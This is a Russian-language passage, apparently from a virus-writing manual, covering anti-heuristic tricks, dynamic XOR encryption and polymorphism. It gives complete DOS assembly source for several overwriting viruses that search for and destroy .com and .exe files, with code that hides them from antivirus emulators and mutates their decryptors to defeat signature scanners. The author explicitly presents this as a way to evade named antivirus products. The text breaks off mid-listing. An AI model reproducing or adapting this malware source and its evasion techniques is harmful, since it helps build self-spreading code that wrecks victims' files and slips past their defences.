Сейчас поговорим об антиэвристических механизмах. На что рассчитаны антиэвристические приемы? Они рассчитаны на обман антивирусных программ, таких как AVP, Sophos Antivirus и др. Чтобы узнать, как эти приемы работают, давайте разберемся с тем, как работают эвристические анализаторы в антивирусах. К примеру, если у вас в программе есть поиск (DOS-функция 4eh) по маске *.exe и в этой же программе есть функция записи (DOS-функция 40h), то с какой-то долей уверенности можно сказать, что в файле гнездится вирус. Сейчас был описан механизм работы анализатора кода. Но анализатор кода сам не работает, он работает в паре с эмулятором кода. Что же такое эмулятор и для, чего он нужен? Эмулятор кода необходим для обнаружения вирусов, шифрующих свой код. Он эмулирует работу процессора. Эмулятор пытается исполнить инструкции, взятые из исполнимого файла в специальной «виртуальной машине». В то время как он «псевдоисполняет» файл, анализатор ищет мнемоники кода, характерные для вирусов. Обычно антиэвристические приемы строятся либо на обмане эмулятора, либо на обмане анализатора. Начнем с эмулятора. Есть возможность обмана эмулятора на эмуляции процессора, когда процессор имеет какие-то ошибки, и в реальной жизни команды будут выполняться не так, как при эмуляции.
Рассмотрим пример:
xor ах,ах
sahf
lahf ; ах=2
xchg al,ah
add ax,5
call $+3
pop si
add si,ax
jmp si
mov bl, 56h
На самом деле, не выполнится, а вот при эмуляции антивирусом выполнится, т. е. если bx — ключ расшифровщика, то антивирус никогда не сможет правильно расшифровать вирус. И анализатор не сможет даже пискнуть, так как он будет рыться в зашифрованном коде.
Второй способ обмана эмулятора — это обмануть его на эмуляции периферии. Мы продемонстрируем это на примере отказа эмулятора при эмуляции работы с портами.
Рассмотрим пример:
in ax,42h
mov si,ax
in ax,42h
cmp ax,si
jnz exit
mov bx,1234h ; антивирус эмулирует, а на самом деле это не работает
exit:
Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.
Рассмотрим пример:
cseg segment
assume cs:cseg,ds:cseg
org 100h
start:
mov ah,09h ;
lea dx,msg ; Итак, представимся
int 21h ;
mov ah,4eh ; DOS функция - найти первый файл
find:
int 1h ; !!!!!!!!!!!!!!!!!!!!!
lea dx,file1 ; маска файла для поиска
int 21h ; найти первый файл
infect:
mov ax,3d01h ;
mov dx,09Eh ; Откроем его
int 21h ;
xchg ax,bx ; хэндл файла в bx
int 3h ; !!!!!!!!!!!!!!!!!!!!!
mov ah,40h ; Будем записывать
mov cl,89 ; Сколько байт будем записывать [наша длина]
mov dx,100h ; С какой позиции? С начала, конечно
int 21h ; Писать сейчас!
mov ah,3eh ; Закроем файл
int 21h ;
mov ah,4Fh ; Найдем новый
int 21h ;
jnc infect ; и заразим
int 20h ; Конец
file1 db '*.exe',0
msg db '[+ s!mPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'
cseg ends
end start
;----------------------------------------------
Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками. Однако добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.
Каждый антиэвристический прием — это дело вкуса, и каждый писатель вирусов пытается попробовать себя в этом деле. Сейчас я приведу еще парочку самых популярных.
Вот листинг:
mov cx,0ffffh
ah1:
jmp ah2
mov ax,4c00h
int 21h
ah2:
loop ah1
В этом примере организован довольно длинный цикл, который скачет вокруг команды завершения программы. Если вы этот прием применяете в *.com программе, то без страха можете заменять команды завершения программы на «ret» или на «int 20h».
И еще один листинг:
find:
db 068h ; это антиэвристический
dw OFFSET @avp ; прием
ret ; взятый мной из вирусного журнала
pop ах ; Infected Voice
@avp: ;
Здесь смысл приема несколько в ином. Сначала первыми двумя инструкциями в стек кладется адрес возврата на метку @avp. После этого идет возврат командой «ret», и управление передается на метку @avp.
И простенький прием от меня:
jmp $+4
int 20h
Здесь все довольно тривиально — обычный переход, который перескакивает команду завершения программы.
Ну вот, и все! С антиэвристическими механизмами мы закончили.
Данные трюки затрудняют анализ вируса, но ничего не изменяют в принципе его лечения.
5.5. Динамическое шифрование
Динамическое шифрование — это одна из наиболее мощных вирусных технологий. Она предназначена для борьбы с сигнатурными сканерами и для обмана пользователя, изучающего вирус. Вот, например, есть вирус, созданный с использованием всех описанных выше технологий. Стоит любопытному пользователю посмотреть в текстовом редакторе на вирус и как вы думаете, что он там увидит? Как минимум строку типа «...*.com....» или «...*.exe...». И вы думаете после этого он как ни в чем не бывало запустит инфицированную программу? Приведенные стороки — это лучший вариант, а что будет, когда он увидит сообщение, адресованное всем ламерам, в том числе и ему, что-то вроде «SuPa DuPa VIRUS by vasYok»?. После этого судьба вируса будет предрешена, погибает он быстро...
Для того, чтобы ничего подобного с вирусами не случилось, их разработчики используют метод, о котором следует рассказать.
Динамическое шифрование необходимо для маскировки текстовых строк в вирусе, а также для маскировки инструкций размножения. Шифрование производится при помощи простых математических операций, таких как: XOR, INC/DEC, ADD/SUB. Самая распространенная из них — это, конечно же, XOR. потому как для этой математической операции не нужна дублирующая, т. е. при первом вызове XOR шифрует, а при втором расшифрует. Для понимания методов работы данных операций обратитесь к какому-нибудь справочнику по дискретной математике.
Теперь рассмотрим схему работы простейшего шифрованного вируса типа overwriter:
Перейдем к подробному алгоритму функционирования данного вируса.
- Вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки virus_code и до конца вируса.
- Затем берется случайное значение по таймеру, которое будет ключом для шифрования.
- Ищется файл. При положительном результате поиска осуществляется переход на метку infect, где и происходит инфицирование.
- Сначала перед инфицированием шифруется код. Затем уже зашифрованный он переписывается в заражаемый файл с нешифрованной процедурой инфицирования и шифровщиком/расшифровщиком.
- Затем код расшифровывается, и идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.
Рассмотрим листинг данного вируса:
code segment ; сегмент кода
assume cs:code,ds:code ;
org 100h ;
main: ; Начало вирусной программы
call encrypt_decrypt ; Расшифруем вирусный код
jmp random_mutation ; Перейдем на метку мутации
encrypt_val db 00h ; Переменная [шифрующий/расшифрующий ключ]
virus_size equ 108 ; переменная [длина вируса]
infect_file:
mov bx,handle ; Возьмем хэндл файла
push bx ; Положим его в стек
call encrypt_decrypt ; Зашифруем большую часть вирусного кода
pop bx ; Восстановим хэндл
mov cx,virus_size ; Количество байт для записи
mov dx,100h ; Откуда начинать переписывать
mov ah,40h ; DOS-функция записи в файл
int 3h ; Антиэвристика
int 21h ;
call encrypt_decrypt ; Зашифруем код (таким, каким он был)
ret ; Вернемся туда, откуда нас вызвали
;------------ Функция шифровки/разшифровки ------------------------
encrypt_decrypt:
lea bx,virus_code ; С какого места шифруем вирус
xor_loop: ; Начало шифрования здесь
mov ah,[bx] ; Берем текущий байт
xor ah,encrypt_val ; Преобразуем его операцией XOR по ключу
mov [bx],ah ; И кладем шифрованный/расшифрованный байт на место
inc bx ; Переходим к следующему байту
cmp bx,offset virus_code+virus_size ; Мы достигли конца файла?
jle xor_loop ; Если нет, то шифруем дальше
ret ; Если да, то вернемся туда, откуда нас вызывали
;----------------------------------------------
virus_code:
random_mutation: ;
mov ah,2ch ; Возьмем по таймеру значение
int 21h
mov encrypt_val,dl ; Присвоим это случайное значение ключу
find_com:
xor cx,cx
lea dx,fmask ; Найдем файл по маске *.com
mov ah,4eh
int 21h
jnc healthy
continue_search:
mov ah,4fh ; Ищем следующий файл
int 21h ;
jc exit_virus ; Если больше нет файлов, то идем на выход
healthy:
mov ax,3d02h ; Откроем файл
mov dx,09eh
int 21h
mov handle,ax ; Сохраним хэндл файла в переменную
call infect_file ; Заразим файл
call close_file ; Закроем его
jmp short continue_search ; Перейдем к следующей жертве
ret
close_file:
mov bx,handle ; Восстановим хэндл файла
mov ah,3eh ; Затем закроем файл
int 21h
exit_virus:
ret ; Конец программы
;----------------------------------------------
fmask db '*.com' ; Переменные
handle dw ? ;
code ends
end main
;----------------------------------------------
Рассмотрим данный вирус более подробно. Это необходимо, для того чтобы нормально разобраться с технологией динамического шифрования.
Взглянем на первый блок данного вируса:
main: ; Начало вирусной программы
call encrypt_decrypt ; Расшифруем вирусный код
jmp random_mutation ; Перейдем на метку мутации
encrypt_val db 00h ; Переменная [шифрующий/расшифрующий ключ]
virus_size equ 108 ; переменная [длина вируса]
Здесь вначале вызывается процедура шифрования/расшифрования, затем переход на расшифрованный только что этой процедурой участок кода. Переменная encrypt_val содержит ключ для процедуры шифрования, при первом запуске он равен нулю, так как изначально вирус не зашифрован и преобразование XOR byte1,0 не изменит значения byte1. В virus_size хранится размер вируса.
Второй блок:
infect_file:
mov bx,handle ; Возьмем хэндл файла
push bx ; Положим его в стек
call encrypt_decrypt ; Зашифруем большую часть вирусного кода
pop bx ; Восстановим хэндл
mov cx,virus_size ; Количество байт для записи
mov dx,100h ; Откуда начинать переписывать
mov ah,40h ; DOS-функция записи в файл
int 3h ; Антиэвристика
int 21h ;
call encrypt_decrypt ; Зашифруем код (таким, каким он был)
ret ; Вернемся туда, откуда нас вызвали
Эта процедура инфицирования, как и первый блок, не шифруется, так как она необходима для инфицирования найденного файла. В начале в bx помещается хэндл найденного и открытого для чтения/записи файла. Затем bx сохраняется в стеке, так как в процедуре шифрования bx изменяется. После этого вызывается процедура шифрования, которая шифрует большую часть вируса, а после нее восстанавливается bx. И в файл-жертву переписывается уже зашифрованная версия вируса. Потом вирус расшифровывается, и управление возвращается в то место, откуда эта процедура была вызвана.
Третий блок:
encrypt_decrypt:
lea bx,virus_code ; С какого места шифруем вирус
xor_loop: ; Начало шифрования здесь
mov ah,[bx] ; Берем текущий байт
xor ah,encrypt_val ; Преобразуем его операцией XOR по ключу
mov [bx],ah ; И кладем шифрованный/расшифрованный байт на место
inc bx ; Переходим к следующему байту
cmp bx,offset virus_code+virus_size ; Мы достигли конца файла?
jle xor_loop ; Если нет, то шифруем дальше
ret ; Если да, то вернемся туда, откуда нас вызывали
Это процедура шифрования. В первой инструкции этого блока в bx загружается начало шифруемого кода. Затем в ah загружается первый байт этого кода преобразуется при помощи операции XOR. После этого уже зашифрованый операцией XOR байт помещается на старое место. Аналогичные действия производятся со всеми байтами, начиная с метки virus_code и заканчивая концом вирусной программы.
Переходим к четвертому блоку:
virus_code:
random_mutation: ;
mov ah,2ch ; Возьмем по таймеру значение
int 21h
mov encrypt_val,dl ; Присвоим это случайное значение ключу
find_com:
xor cx,cx
lea dx,fmask ; Найдем файл по маске *.com
mov ah,4eh
int 21h
jnc healthy
continue_search:
mov ah,4fh ; Ищем следующий файл
int 21h ;
jc exit_virus ; Если больше нет файлов, то идем на выход
В данном блоке используется функция 2ch (21 прерывания), которая помещает в dl случайное значение, и это случайное значение присваивается нашему ключу шифрования. Далее идет поиск файла. Если он найден, переход на метку healthy, если таковых файлов нет, то идет переход на завершение программы.
Последний пятый блок:
healthy:
mov ax,3d02h ; Откроем файл
mov dx,09eh
int 21h
mov handle,ax ; Сохраним хэндл файла в переменную
call infect_file ; Заразим файл
call close_file ; Закроем его
jmp short continue_search ; Перейдем к следующей жертве
ret
close_file:
mov bx,handle ; Восстановим хэндл файла
mov ah,3eh ; Затем закроем файл
int 21h
exit_virus:
ret ; Конец программы
Здесь в начале блока открывается найденный файл на чтение/запись, хэндл файла помещается в переменную handle. Потом вызывается процедура инфицирования файла, следом за ней процедура закрытия инфицированного файла. Далее идет поиск следующей жертвы. Если таковой нет, то работа вируса завершается.
Данный вирус является наиболее очевидным применением технологии олигоморфизма11 на простейшем вирусе типа overwriter. Антивирусами, такими как AVP, dr.WEB, он не обнаруживается. Здесь был представлен наиболее тривиальный пример для наиболее полного понимания сути проблемы. Данную технологию можно и нужно применять вместе с остальными, это безмерно усилит потенциал вируса. Данная часть очень важна, так как на основе шифрующихся вирусов появились полиморфные. А понимание работы полиморфных вирусов невозможно в отрыве от шифрующих свой код.
Лечение данного вируса невозможно. Так как он безвозвратно портит программу, его необходимо удалять вместе с инфицированной программой. Но при идентификации небходимо цепляться только за декриптор, так как основное тело вируса мутирует.
5.6. Полиморфизм
Полиморфная технология основана на технологии шифрования и представляет собой тот же самый шифрованный вирус, но с тем лишь различием, что расшифровщик этого вируса не постоянный. Расшифровщик постоянно мутирует,
что позволяет обманывать сигнатурные сканеры. От мутации к мутации в вирусе в идеале не должно оставаться постоянных байт. Другими словами, каждый раз мутируя, вирус полностью изменяется. Если сравнить две его различные мутации, то в идеале не должно быть никакого сходства.
Родоначальником данной технологии является вирмэйкер12 из Болгарии Dark Avenger.
Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии — это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ах,ах; mov bx,bx... Но чаще всего в полиморфизм вкладывают смысл замены одних команд другими — идентичными по содержанию, но разными по форме. К примеру, рассмотрим следующие команды: mov ax,bx; xchg ax,bx. Эти две команды не аналогичны, но первую инструкцию можно спокойно заменить другой. В полиморфном вирусе такие мутации происходят от запуска к запуску инфицированной программы, что позволяет быть вирусу неуязвимым по отношению к сигнатурным сканерам.
Простейший пример полиморфизма будет заключаться в том, что между настоящими инструкциями расшифровщика помещаются мусорные инструкции, которые от инфицирования к инфицированию будут изменяться. Что это может дать? Посмотрим на примере следующие байты, по которым антивирус опознает вирус: BE 22 01 8В FE. Это две инструкции расшифровщика:
mov si,0122 ; BE 22 01
mov di,si ; 8B FE
Что сделают разработчики антивирусов, если между этими командами расположить команду пустышку nop? Они ее добавят к строке сигнатуры, и байты, по которым будет определяться вирус, будут выглядеть так:
mov si,0122 ; BE 22 01
nop ; 90
mov di,si ; 8B FE
И уже по этой строке будет идентифицироваться ваш вирус. Это будет выглядеть примерно следующим образом. При проверке открывается подозрительный файл, из него читаются первые 6 байтов. Если они совпадают с BE 22 01 90 8В FE, то файл считается инфицированным.
Мутациями после каждого инфицирования будет изменяться мусорная команда, и тогда антивирус не обнаружит полного совпадения. Это позволяет надеяться на то, что он не назовет его вирусом. Но этот простейший пример полиморфизма срабатывает только на слабых сигнатурных сканерах.
Итак, перейдем к листингу.
;----------------------------------------------
code segment ;
assume cs:code,ds:code ;
org 100h ;
start:
junk1 db 90h ;
lea si,encrypted ; Кладем в si начало шифрованной части кода
junk2 db 90h ;
mov di,si ; В di тоже самое
junk3 db 90h ;
mov cx,finished-encrypted ; В cx кладем количество байт для шифрования
junk4 db 90h ;
call encryption ; Вызов процедуры шифрования/расшифрования
junk5 db 90h ;
jmp encrypted ; Переход на начало шифрованного кода
junk6 db 90h
encryption: ; Процедура шифрования/расшифрования
lodsb ; Загружаем в al байт
junk7 db 90h ;
xor al,byte ptr [decrypt] ; Преобразуем его операцией XOR
junk8 db 90h ;
stosb ; И кладем байт на прежнее место
junk9 db 90h
loop encryption ; Повторять операции, пока все байты не зашифрованы
junk10 db 90h
ret ; Выход из процедуры
decrypt db 0 ; Ключ шифрования
;----------------------------------------------
encrypted: ; Начало шифрованной части кода
call musor ; Вызов нашего генератора мусора
mov ah,4eh ;Поиск первого файла
get:
xor cx,cx ;
lea dx,comfile ;
int 21h
jc end_virus
mov ax,3d02h ; Открытие найденного файла на чтение/запись
mov dx,9eh ;
int 21h
xchg bx,ax ;
in al,40h ; Получаем случайное число в al
mov byte ptr [decrypt],al ; И это будет наш ключ шифрования
lea si,encrypted ; Кладем в si начало шифрованной части кода
lea di,finished ; Куда будем класть зашифрованный код
mov cx,finished-encrypted ; Количество байт для шифрования
call encryption ; Теперь вызываем процедуру шифрования
mov ah,40h ; Запишем в найденный файл
mov cx,encrypted-start ; Нешифрованную часть вируса
lea dx,start ;
int 21h
mov ah,40h ; Теперь допишем зашифрованную часть программы
mov cx,finished-encrypted ;
lea dx,finished ;
int 21h
mov ah,3eh ; Закроем файл
int 21h
mov ah,4fh ; Ищем следующий
jmp get ; и заражаем его
end_virus:
ret ; Конец программы
;----------------------------------------------
musor: ; Процедура генерации мусора
lea si,start ; Начиная с какого места мы генерируем мусор
mov di,si ; Сначала и мусор будет размещен там же
mov cx,encrypted-start ; Кол-во байт, в которых могут встретиться мусорные
; команды
call generator ; Вызов генератора мусора
ret ; Возврат из процедуры
;----------------------------------------------
generator:
lodsb ; Загружаем первый байт из нешифрованной части
cmp al,90h ; Проверяем, если это nop, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0f8h ; Проверяем, если это clc, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0f9h ; Проверяем, если это stc, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fbh ; Проверяем, если это sti, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fch ; Проверяем, если это cld, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fah ; Проверяем, если это cli, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
jmp end_preob ; Если мы попали сюда, то это не мусорный байт и его
; трогать не нужно
preob:
call random2 ; Процедура генерации случайной мусорной команды
; Результат будет в al
end_preob:
stosb ; Помещаем байт на прежнее место
loop generator ; Проверяем все байты из нешифрованной части
ret ; Возврат из процедуры
;----------------------------------------------
random2: ; Процедура генерации случайной мусорной команды
in ax,40h ; В ах помещается случайное число
and ax,5 ; Эта команда ограничивает это число диапазоном 0-5
xchg ax,bx ; Это случайное число помещается в bx
add bx,offset garbage ; Добавляется смещение на таблицу мусорных команд
mov al,[bx] ; И в al помещается случайная команда из garbage
ret ; Возврат из процедуры
;----------------------------------------------
garbage:
nop ;
clc ;
stc ; Мусорные команды
cmc ;
cld ;
sti ;
;----------------------------------------------
comfile db "*.c*",0 ; Маска *.com файла
finished: ;
code ends ;
end start ;
;----------------------------------------------
В этом вирусе использован способ шифрования, который уменьшает нешифрованную часть. Сам код шифруется, но его шифрованная версия помещается уже после конца вируса, что позволяет значительно уменьшить размер нешифрованной части приблизительно на треть.
Все байты, начинающиеся на junk, являются мусорными байтами, и они мутируют при вызове процедуры musor.
Теперь давайте рассмотрим этот вирус более подробно.
Рассмотрим первый блок данного вируса:
start:
junk1 db 90h ; !!!!
lea si,encrypted ; Кладем в si начало шифрованной части кода
junk2 db 90h ; !!!!
mov di,si ; В di тоже самое
junk3 db 90h ; !!!!
mov cx,finished-encrypted ; В cx кладем количество байт для шифрования
junk4 db 90h ; !!!!
call encryption ; Вызов процедуры шифрования/расшифрования
junk5 db 90h ; !!!!
jmp encrypted ; Переход на начало шифрованного кода
junk6 db 90h ; !!!!
Все инструкции, отмеченные восклицательными знаками, — это мутирующие мусорные байты. В данном блоке мы определяем, с какого места нам расшифровать наш вирус и какое количество байт необходимо расшифровать. После этого мы вызываем процедуру расшифровки и после расшифровки передаем управление на расшифрованный код.
Перейдем ко второму блоку:
encryption: ; Процедура шифрования/расшифрования
lodsb ; Загружаем в al байт
junk7 db 90h ; !!!!
xor al,byte ptr [decrypt] ; Преобразуем его операцией XOR
junk8 db 90h ; !!!!
stosb ; И кладем байт на прежнее место
junk9 db 90h ; !!!!
loop encryption ; Повторять операции, пока все байты не зашифрованы
junk10 db 90h ; !!!!
ret ; Выход из процедуры
decrypt db 0 ; Ключ шифрования
Это непосредственно сама процедура шифрования/расшифрования, как и предыдущем блоке восклицательными знаками выделены мутирующие мусорные байты. В данном блоке используются инструкции lodsb и stosb. Инструкция lodsb загружает в регистр al байт с того места, куда указывает si, а инструкция stosb загружает байт из al в то место, на которое указывает di. Переменная decrypt — это ключ шифрования/расшифрования.
Третий блок:
encrypted: ; Начало шифрованной части кода
call musor ; Вызов нашего генератора мусора
mov ah,4eh ;Поиск первого файла
get:
xor cx,cx ;
lea dx,comfile ;
int 21h
jc end_virus
mov ax,3d02h ; Открытие найденного файла на чтение/запись
mov dx,9eh ;
int 21h
xchg bx,ax ;
В данном блоке вызывается генератор мусорных байт, затем идет поиск файла. Если файл найден, то он открывается в режиме чтение/запись.
Теперь четвертый блок:
in al,40h ; Получаем случайное число в al
mov byte ptr [decrypt],al ; И это будет наш ключ шифрования
lea si,encrypted ; Кладем в si начало шифрованной части кода
lea di,finished ; Куда будем класть зашифрованный код
mov cx,finished-encrypted ; Количество байт для шифрования
call encryption ; Теперь вызываем процедуру шифрования
В данном блоке мы получаем случайное значение в al и сохраняем его в переменную decrypt. После этого в si мы кладем начало шифрованной части кода в di, туда, где зашифрованный код будет находиться перед его копированием в найденный файл. Он будет находиться после конца вируса. В сх будет количество байт для шифрования, и после вызывается процедура шифрования.
Пятый блок:
mov ah,40h ; Запишем в найденный файл
mov cx,encrypted-start ; Нешифрованную часть вируса
lea dx,start ;
int 21h
mov ah,40h ; Теперь допишем зашифрованную часть программы
mov cx,finished-encrypted ;
lea dx,finished ;
int 21h
mov ah,3eh ; Закроем файл
int 21h
mov ah,4fh ; Ищем следующий
jmp get ; и заражаем его
end_virus:
ret ; Конец программы
Сначала в найденный файл копируется нешифрованная часть вируса, а затем с конца вируса копируется зашифрованная часть вируса. Затем файл закрывается и начинается поиск нового. Если такого нет, то работа вируса завершается.
Седьмой блок:
musor: ; Процедура генерации мусора
lea si,start ; Начиная с какого места мы генерируем мусор
mov di,si ; Сначала и мусор будет размещен там же
mov cx,encrypted-start ; Кол-во байт, в которых могут встретиться мусорные
; команды
call generator ; Вызов генератора мусора
ret ; Возврат из процедуры
;----------------------------------------------
generator:
lodsb ; Загружаем первый байт из нешифрованной части
cmp al,90h ; Проверяем, если это nop, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0f8h ; Проверяем, если это clc, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0f9h ; Проверяем, если это stc, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fbh ; Проверяем, если это sti, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fch ; Проверяем, если это cld, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
cmp al,0fah ; Проверяем, если это cli, то
je preob ; изменяем его на другую мусорную команду, выбранную
; по случайному закону
jmp end_preob ; Если мы попали сюда, то это не мусорный байт и его
; трогать не нужно
preob:
call random2 ; Процедура генерации случайной мусорной команды
; Результат будет в al
end_preob:
stosb ; Помещаем байт на прежнее место
loop generator ; Проверяем все байты из нешифрованной части
ret ; Возврат из процедуры
Вначале загружаются индексные регистры si и di для указания на нешифрованную часть. Затем проверяется каждый байт из не шифрованной части на принадлежность к мусорному, если он мусорный, то вызываем процедура random2, которая изменяет этот байт по случайному закону. После этого даный байт помещается на прежнее место.
Последний блок:
random2: ; Процедура генерации случайной мусорной команды
in ax,40h ; В ах помещается случайное число
and ax,5 ; Эта команда ограничивает это число диапазоном 0-5
xchg ax,bx ; Это случайное число помещается в bx
add bx,offset garbage ; Добавляется смещение на таблицу мусорных команд
mov al,[bx] ; И в al помещается случайная команда из garbage
ret ; Возврат из процедуры
;----------------------------------------------
garbage:
nop ;
clc ;
stc ; Мусорные команды
cmc ;
cld ;
sti ;
В данном блоке случайным образом выбирается команда из таблицы garbage и помещается в регистр al. Вот с простейшим полиморфным вирусом мы и разобрались.
Более-менее приличные сигнатурные сканеры быстро выявят этот вирус. Стоит лишь исправить сигнатуру на следующую: BE 22 01 ? 8В FE, и ваш вирус уже идентифицируется вне зависимости от вашего мутирующего байта. Что же делать? Можно, к примеру, сделать следующее: 90 BE 22 01 8В FE. То есть, необходимо мусорные команды чередовать в произвольном порядке с командами
расшифровщика, но это по-прежнему не позволит обмануть хорошие сигнатурные сканеры, которым нужно только лишь пропускать мусорные команды. Это откроет им глаза на настоящий расшифровщик.
В качественном полиморфном вирусе помимо генератора мусора должны также присутствовать логические мутации. Посмотрите на идущие ниже команды: все они выполняют одно и то же действие — помещают в регистр dx число 100h:
mov dx,100h
mov ax,100h
xchg ax,dx
mov bx,100h
push bx
pop dx
mov cx.0ffh
xor dx,dx
add dx,cx
inc dx
;..............
Данные команды, по сути, выполняют одно и то же, а по виду они абсолютно различны. Помимо такого рода мутаций в полиморфном вирусе должны присутвовать ложные вызовы процедур, антиотладочные трюки и антиэвристика.
Существуют несколько способов реализации данного вида полиморфизма, смотрим более простой для понимания блочный полиморфизм. Он заключается в том, что существуют уже готовые заготовки отдельных инструкций расшифровщика.
Перейдем к листингу:
;----------------------------------------------
code segment ;
assume cs:code,ds:code ;
org 100h ;
.286 ; Этот режим необходим для того, чтобы можно было
; использовать инструкции типа push [число].
main:
;----------------------------------------------
mut1:
sti ; !!!!
call encrypt_decrypt ; Вызов процедуры шифрования
nop ; !!!
;----------------------------------------------
mut2:
lahf ; !!!!
jmp random_mutation ; Начало работы вируса
stc ; !!!!
;----------------------------------------------
infect_file: ; Процедура инфицирования
mut3:
mov dx,100h ; dx указывает на начало кода
push bx ; Сохраняем bx в стеке
stc ; !!!!
;----------------------------------------------
mut4:
nop ; !!!!
call encrypt_decrypt ; Вызов процедуры шифрования
cmc ; !!!!
;----------------------------------------------
mut5:
clc ; !!!!
pop bx ; Восстановим из стека bx
lahf ; !!!!
mov ah,40h ; DOS-функция записи в файл
;----------------------------------------------
mut6:
nop ; !!!!
int 21h ; Пишем вирусный код в файл
dec bp ; !!!!
dec bp ; !!!!
;----------------------------------------------
mut7:
nop ; !!!!
stc ; !!!!
call encrypt_decrypt ; Расшифровка кода
;----------------------------------------------
mut8:
cmc ; !!!!
mov ax,3fh ; !!!!
ret ; Возврат из процедуры инфицирования
;----------------------------------------------
encrypt_decrypt: ; Процедура шифровки/расшифровки
mut9:
mov bx,offset virus_code ; ; С какого места начинаем шифровать код
lahf ; !!!!
stc ; !!!!
;----------------------------------------------
xor_loop: ; Здесь начинается цикл
mut10:
nop ; !!!!
mov ah,[bx] ; Берем текущий байт и кладем в ah
stc ; !!!!
cmc ; !!!!
;----------------------------------------------
mut11:
xor ah,encrypt_val ; Преобразовываем его операцией X0R
sti ; !!!!
;----------------------------------------------
mut12:
clc ; !!!!
cmc ; !!!!
mov [bx],ah ; Возвращаем байт на прежнее место
sti ; !!!!
;----------------------------------------------
mut13:
nop ; !!!!
nop ; !!!!
inc bx ; Переходим к следующему байту
stc ; !!!!
clc ; !!!!
;----------------------------------------------
mut14:
sahf ; !!!!
cmp bx,offset virus_code+virus_size ; Мы все байты зашифровали?
;----------------------------------------------
mut15:
lahf ; !!!!
jle xor_loop ; Если нет, то шифруем до конца мм
nop ; !!!!
sti ; !!!!
;----------------------------------------------
mut16:
stc ; !!!!
clc ; !!!!
cli ; !!!!
sti ; !!!!
ret ; Возврат из шифрующей процедуры
;----------------------------------------------
encrypt_val db 00h ; Ключ шифрования
virus_size equ 588 ; Размер вируса
;----------------------------------------------
virus_code: ; С этой метки шифруется код
random_mutation: ;
call polym ; Вызов процедуры мутации нешифрованной части
; вируса
mov ah,2ch ; Возьмем по таймеру значение
int 21h
mov encrypt_val,dl ; Присвоим это случайное значение ключу
find_com:
xor cx, cx
lea dx,fmask ; Найдем файл по маске *.com
mov ah,4eh ;
int 21h
jnc healthy
continue_search :
mov ah,4fh ; Ищем следующий файл
int 21h ;
jc exit_virus ; Если больше нет файлов, то идем на выход
healthy:
mov ax,3d02h ; Откроем файл
mov dx,09eh
int 21h
mov handle,ax ; Сохраним хэндл файла в переменную
xchg ax, bx ; Поместим хэндл файла в bx
mov cx,virus_size ; В сх поместим размер вируса
call infect_file ; Заразим файл
call close_file ; Закроем его
jmp short continue_search ; Перейдем к следующей жертве
ret
close_file:
mov bx,handle ; Восстановим хэндл файла
mov ah,3eh ; Затем закроем файл
int 21h
exit_virus:
ret ; Конец программы
;----------------------------------------------
polym:
call musor ; Вызов процедуры, генерирующей мусорные команды
call random ; Вызов основной процедуры мутации
ret ; Возврат из процедуры
;----------------------------------------------
ranaomL
mov di,100h ; Мутации начинать с начала вирусного кода
mov dx,0 ; Счетчик мутаций
ran:
in ax,40h ; Получаем случайное число в ах
and ax,3 ; Ограничиваем его диапазоном 0-3
mul ch1 ; Умножаем на 5 размер одного блока
xchg ax,si ; Помещаем в si полученное число
mov ax,dx ; В ах помещаем номер мутируемого блока
mul ch2 ; Умножаем на 20 - кол-во байт в 4-х блоках
add si,offset garbage1 ; Добавляем к si смещение на таблицу блоков
add si,ax ; Добавляем ах, который указывает на один из блоков
mov cx,5 ; В сх помещается 5 - кол-во байт для перемещения
rep movsb ; Уже готовый разбавленный мусорными командами блок
; Помещается в нешифрованную часть вируса
inc dx ; Переходим к следующему блоку
cmp dx,15 ; Пока все 16 блоков не мутировали
jle ran ; Продолжаем мутации
ret ; Возврат из процедуры
;----------------------------------------------
garbage1: ; Таблица блоков. Один из четырех формирует
; инструкцию расшифровщика
db 90h
db 90h
db 0e8h,23h,00h
;========================================
db 90h
db 0e8h,24h,00h
db 90h
;========================================
db 0e8h,25h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,24h,00h
db 90h
;========================================
garbage2:
db 90h
db 90h
db 90h
db 0ebh,47h
;========================================
db 0ebh,4ah
db 90h
db 90h
db 90h
;========================================
db 90h
db 90h
db 0ebh,48h
db 90h
;========================================
db 90h
db 0ebh,49h
db 90h
db 90h
;========================================
garbage3:
db 90h
push bx
mov dx,100h
push bx
mov dx,100h
;========================================
push bx
db 90h
mov dx,100h
;========================================
push bx
push 100h
pop dx
;========================================
mov dx,100h
db 90h
push bx
;========================================
garbage4:
db 90h
db 90h
db 0e8h,14h,00h
;========================================
db 90h
db 0e8h,15h,00h
db 90h
;========================================
db 0e8h,16h,00h
db 90h
db 90h
;========================================
db 90h
db 0e8h,15h,00h
db 90h
;========================================
garbage5:
pop bx
mov ah,3fh
inc ah
;========================================
pop ax
xchg ax,bx
mov ah,40h
int 3h
;========================================
mov ah,41h
pop bx
dec ah
;========================================
mov ah,40h
int 1h
pop bx
;========================================
garbage6:
db 90h
db 90h
db 90h
int 21h
;========================================
int 21h
db 90h
db 90h
db 90h
;========================================
db 90h
